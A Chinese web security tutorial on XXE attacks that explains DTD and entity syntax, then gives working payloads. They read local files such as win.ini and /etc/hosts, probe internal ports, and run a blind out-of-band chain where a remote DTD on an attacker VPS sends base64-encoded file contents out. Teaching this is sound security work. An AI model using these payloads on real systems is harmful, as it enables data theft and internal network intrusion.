【30】WEB安全学习----XXE攻击

一、DTD知识

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

 

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

XML文档构成

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

  • 元素:可包含文本、其他元素或者是空的
  • 属性:可提供有关元素的额外信息。
  • 实体:用来定义普通文本的变量。实体引用是对实体的引用。
  • PCDATA:被解析的字符数据,可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。
  • CDATA:字符数据,CDATA 是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

元素

声明一个元素:

<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>
<!ELEMENT 元素名称 EMPTY>  //空元素
<!ELEMENT 元素名称 ANY>    //带有任何内容的元素
<!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)>    //带有子元素的元素
<!ELEMENT note (message)>    //声明只出现一次的元素

属性

属性声明使用下列语法:

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

demo:
<!ELEMENT square EMPTY>
<!ATTLIST square width CDATA "0">

 实体

 

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。

语法:

<!ENTITY 实体名称 "实体的值">

一个外部实体声明:

<!ENTITY 实体名称 SYSTEM "URI/URL">

URI支持的协议:

实体的引用

<?php
$s=<<<string
<!DOCTYPE a [<!ENTITY b "this is b">]>
<c>&b;</c>  //使用&变量名进行调用实体定义的变量和值
string;
echo simplexml_load_string($s);

DTD例子:

<?xml version="1.0"?>

<!DOCTYPE note [  //定义此文档是note类型的文档
<!ELEMENT note (to,from,heading,body)>  //定义note元素有四个元素
<!ELEMENT to (#PCDATA)>  //定义to元素为#PCDATA类型
<!ELEMENT from (#PCDATA)>  //定义from元素为#PCDATA类型
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>

<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

可能造成的危害

  • 本地文件读取
  • 内网访问,主机/端口扫描
  • 网络访问
  • 系统命令执行(特定协议,如PHP的expect)
  • 拒绝服务(嵌套引用,指数爆炸)

本地文件读取攻击演示

php代码还是上一节xml注入代码,只是这里加入了输出xml解析结果:

注意:这里用%26对&字符进行了编码。

xml=<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [<!ENTITY xx SYSTEM "file:///C:/Windows/win.ini" >]>
<c>%26xx;</c>

端口探测攻击演示

屏蔽xml解析输出,可通过报错信息查看端口是否开放

盲注

如果代码屏蔽了错误和xml解析,那么只能进行盲注了。

14.png

思路:

1. 客户端发送payload 1给web服务器

2. web服务器向vps获取恶意DTD,并执行文件读取payload2

3. web服务器带着回显结果访问VPS上特定的FTP或者HTTP

4. 通过VPS获得回显(nc监听端口)

本地客户端(payload 1 ):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/test.xml"> %remote;]>

test.xml的内容(VPS):

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=C:/Windows/win.ini">
<!ENTITY % x '<!ENTITY &#37; send SYSTEM "http://127.0.0.1/index.php?id=%file;">'> %x;
%send;

先将SYSTEM的php协议读取到的内容赋值给参数实体%file,第二步是一个实体嵌套,%file是远程访问http协议所携带的内容。

查看web日志,已将结果返回到日志记录中。

发现XXE

尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。

  • 单双引号 ' " 。XML的属性值必须用引号包裹,而数据可能进入标签的属性值。
  • 尖括号< >。XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。
  • 注释符 <!-- 。XML使用 <!-- This is a comment --> 作注释。
  • & 。& 用于引用实体。
  • CDATA 分隔符]]> 。<![CDATA[foo]]> 中的内容不被parser解析,提前闭合引发异常。

尝试利用实体和DTD。

  • 引用外部DTD文件访问内网主机/端口。<!DOCTYPE a SYSTEM "http://127.0.0.1:2333"> (看响应时间)
  • 引用外部DTD文件访问外网。<!DOCTYPE a SYSTEM "http://vps_ip" >
  • 引用内部实体。<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
  • 外部实体读本地文件。<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
  • 外部实体访问内网主机/端口。<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看响应时间)
  • 外部实体访问外网。<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
  • 判断问题存在可以OOB提取数据。